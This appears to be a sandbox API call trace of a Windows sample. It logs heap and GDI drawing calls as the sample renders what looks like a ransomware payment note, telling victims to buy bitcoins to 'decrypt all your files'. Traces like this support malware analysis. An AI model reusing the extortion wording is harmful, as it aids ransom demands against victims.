[0103.671] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0103.671] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.671] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0103.671] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0103.671] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0103.671] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.671] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.671] LsGetRubyLsimethods () returned 0x0
[0103.671] LsGetTatenakayokoLsimethods () returned 0x0
[0103.671] LsGetHihLsimethods () returned 0x0
[0103.672] LsGetWarichuLsimethods () returned 0x0
[0103.672] LsGetReverseLsimethods () returned 0x0
[0103.672] LsCreateContext () returned 0x0
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x503268
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4972e0
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6978
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x5029b0
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501328
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011c0
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x4c7d10
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503cf0
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501210
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011e8
[0103.672] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501378
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013a0
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x5004d0
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd820
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd840
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd830
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd810
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x48b598
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x4954a0
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1790
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x4e1f50
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x500fc8
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x5008d8
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x502ca0
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x502d70
[0103.673] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x462cf0
[0103.674] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4f2fe8
[0103.674] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497f80
[0103.674] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x508e08
[0103.674] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x508fa8
[0103.674] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x509078
[0103.674] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1678
[0103.674] LsSetModWidthPairs () returned 0x0
[0103.674] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x509210
[0103.674] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc160
[0103.674] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.674] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.674] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503d38
[0103.674] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.675] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.680] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.680] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.680] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.680] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.680] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.681] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.681] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.681] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.681] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.681] IsRectEmpty (lprc=0x503d48) returned 0
[0103.681] IsRectEmpty (lprc=0x503d58) returned 0
[0103.681] IsRectEmpty (lprc=0x503d68) returned 0
[0103.681] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0103.681] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0103.681] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0103.681] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0103.681] GetStockObject (i=8) returned 0x1b00016
[0103.681] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.681] GetROP2 (hdc=0x90101e7) returned 13
[0103.681] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.681] Rectangle (hdc=0x90101e7, left=12, top=0, right=1296, bottom=76) returned 1
[0103.681] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.681] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.681] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0103.681] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.681] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0x16040259
[0103.681] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.681] SelectClipRgn (hdc=0x90101e7, hrgn=0x16040259) returned 2
[0103.681] DeleteObject (ho=0x16040259) returned 1
[0103.681] _CIsqrt () returned 0x3f1a027f
[0103.681] _CIsqrt () returned 0x3f1a027f
[0103.681] _CIatan2 () returned 0x20
[0103.681] _CIatan2 () returned 0x20
[0103.682] GetStockObject (i=8) returned 0x1b00016
[0103.682] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.682] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0103.682] SelectObject (hdc=0x90101e7, h=0x61001e2) returned 0x1900010
[0103.682] UnrealizeObject (h=0x61001e2) returned 1
[0103.682] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-589, lppt=0x0 | out: lppt=0x0) returned 1
[0103.682] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.682] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.682] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.682] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.682] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0103.682] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x61001e2
[0103.682] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.682] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.683] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.683] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.683] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.683] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.683] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.683] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.683] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.683] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.683] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.683] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.683] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.689] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.689] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.689] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.689] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.689] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x503d38, Size=0x60) returned 0x49ec48
[0103.689] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.689] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.690] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49ec48, Size=0x90) returned 0x502f08
[0103.690] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.690] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.690] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.690] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.690] IsRectEmpty (lprc=0x502f18) returned 0
[0103.690] IsRectEmpty (lprc=0x502f28) returned 0
[0103.690] IsRectEmpty (lprc=0x502f38) returned 0
[0103.690] IsRectEmpty (lprc=0x502f48) returned 0
[0103.690] IsRectEmpty (lprc=0x502f58) returned 0
[0103.690] IsRectEmpty (lprc=0x502f68) returned 0
[0103.690] IsRectEmpty (lprc=0x502f78) returned 0
[0103.690] IsRectEmpty (lprc=0x502f88) returned 0
[0103.690] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0103.690] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0103.690] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0103.690] CreateSolidBrush (color=0x2e4e4ff) returned 0x81001d5
[0103.690] SelectObject (hdc=0x90101e7, h=0x81001d5) returned 0x1900010
[0103.690] GetStockObject (i=8) returned 0x1b00016
[0103.691] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.691] GetROP2 (hdc=0x90101e7) returned 13
[0103.691] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.691] Rectangle (hdc=0x90101e7, left=12, top=90, right=1296, bottom=151) returned 1
[0103.691] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.691] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.691] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x81001d5
[0103.691] _CIsqrt () returned 0x3f1a027f
[0103.691] _CIsqrt () returned 0x3f1a027f
[0103.691] _CIatan2 () returned 0x20
[0103.691] _CIatan2 () returned 0x20
[0103.691] GetStockObject (i=8) returned 0x1b00016
[0103.691] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.691] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0103.691] CreateSolidBrush (color=0x20000ff) returned 0x51001d9
[0103.691] SelectObject (hdc=0x90101e7, h=0x51001d9) returned 0x1900010
[0103.691] UnrealizeObject (h=0x51001d9) returned 1
[0103.691] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-590, lppt=0x0 | out: lppt=0x0) returned 1
[0103.691] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.691] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.691] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.691] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.691] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0103.691] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51001d9
[0103.691] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.692] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.692] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.692] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.693] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.693] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.693] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.693] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.693] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.694] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.694] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.694] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.694] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.694] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.694] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.694] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.694] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.694] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.694] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502f08 | out: hHeap=0x450000) returned 1
[0103.695] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0103.695] LsSetDoc () returned 0x0
[0103.695] LsCreateLine () returned 0x0
[0103.695] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.696] LsDisplayLine () returned 0x0
[0103.697] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x18a002e
[0103.697] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2000000
[0103.697] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.697] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.697] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.697] _CIatan2 () returned 0x20
[0103.697] _CIatan2 () returned 0x20
[0103.697] ExtTextOutW (hdc=0x90101e7, x=62, y=-1, options=0x4, lprect=0x1c8390, lpString="https://localbitcoins.net/buy_bitcoins Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x26, lpDx=0x1c83c8) returned 1
[0103.697] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.697] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.697] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.697] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.697] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.697] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x43001e3
[0103.697] SelectObject (hdc=0x90101e7, h=0x43001e3) returned 0x1b00016
[0103.697] MoveToEx (in: hdc=0x90101e7, x=62, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0103.697] LineTo (hdc=0x90101e7, x=297, y=0) returned 1
[0103.697] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x43001e3
[0103.697] DeleteObject (ho=0x43001e3) returned 1
[0103.698] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.698] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2cc6600
[0103.698] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.698] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.698] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.698] _CIatan2 () returned 0x20
[0103.698] _CIatan2 () returned 0x20
[0103.698] ExtTextOutW (hdc=0x90101e7, x=297, y=-1, options=0x4, lprect=0x1c8390, lpString=" Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.698] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.698] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.698] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.698] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.698] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.698] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.698] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.698] _CIatan2 () returned 0x20
[0103.698] _CIatan2 () returned 0x20
[0103.698] ExtTextOutW (hdc=0x90101e7, x=302, y=-1, options=0x4, lprect=0x1c8390, lpString=" Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.698] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.698] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.698] LsDestroyLine () returned 0x0
[0103.698] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.699] LsSetDoc () returned 0x0
[0103.699] LsCreateLine () returned 0x0
[0103.699] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.699] LsDisplayLine () returned 0x0
[0103.700] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.700] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.700] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.700] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.700] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.700] _CIatan2 () returned 0x20
[0103.700] _CIatan2 () returned 0x20
[0103.700] ExtTextOutW (hdc=0x90101e7, x=62, y=24, options=0x4, lprect=0x1c8498, lpString="Also you can find other places to buy Bitcoins and beginners guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x48, lpDx=0x1c84d0) returned 1
[0103.700] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.700] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.700] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.700] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.700] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.700] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.700] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.700] _CIatan2 () returned 0x20
[0103.700] _CIatan2 () returned 0x20
[0103.700] ExtTextOutW (hdc=0x90101e7, x=531, y=24, options=0x4, lprect=0x1c8498, lpString=" r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.700] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.700] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.700] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.700] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.700] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.700] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.700] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.701] _CIatan2 () returned 0x20
[0103.701] _CIatan2 () returned 0x20
[0103.701] ExtTextOutW (hdc=0x90101e7, x=536, y=24, options=0x4, lprect=0x1c8498, lpString=" r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.701] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.701] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.701] LsDestroyLine () returned 0x0
[0103.701] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.701] LsSetDoc () returned 0x0
[0103.701] LsCreateLine () returned 0x0
[0103.701] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.704] LsDisplayLine () returned 0x0
[0103.704] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.704] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2000000
[0103.704] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.704] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.704] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.704] _CIatan2 () returned 0x20
[0103.704] _CIatan2 () returned 0x20
[0103.704] ExtTextOutW (hdc=0x90101e7, x=62, y=49, options=0x4, lprect=0x1c8390, lpString="http://www.coindesk.com/information/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x27, lpDx=0x1c83c8) returned 1
[0103.704] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.704] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.705] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.705] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.705] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.705] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x73001d4
[0103.705] SelectObject (hdc=0x90101e7, h=0x73001d4) returned 0x1b00016
[0103.705] MoveToEx (in: hdc=0x90101e7, x=62, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0103.705] LineTo (hdc=0x90101e7, x=338, y=50) returned 1
[0103.705] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x73001d4
[0103.705] DeleteObject (ho=0x73001d4) returned 1
[0103.705] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.705] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.705] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.705] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.705] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.705] _CIatan2 () returned 0x20
[0103.705] _CIatan2 () returned 0x20
[0103.705] ExtTextOutW (hdc=0x90101e7, x=338, y=49, options=0x4, lprect=0x1c8390, lpString="-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.705] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.705] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.705] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.705] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.705] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.705] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x53001e3
[0103.706] SelectObject (hdc=0x90101e7, h=0x53001e3) returned 0x1b00016
[0103.706] MoveToEx (in: hdc=0x90101e7, x=338, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0103.706] LineTo (hdc=0x90101e7, x=343, y=50) returned 1
[0103.706] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x53001e3
[0103.706] DeleteObject (ho=0x53001e3) returned 1
[0103.706] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
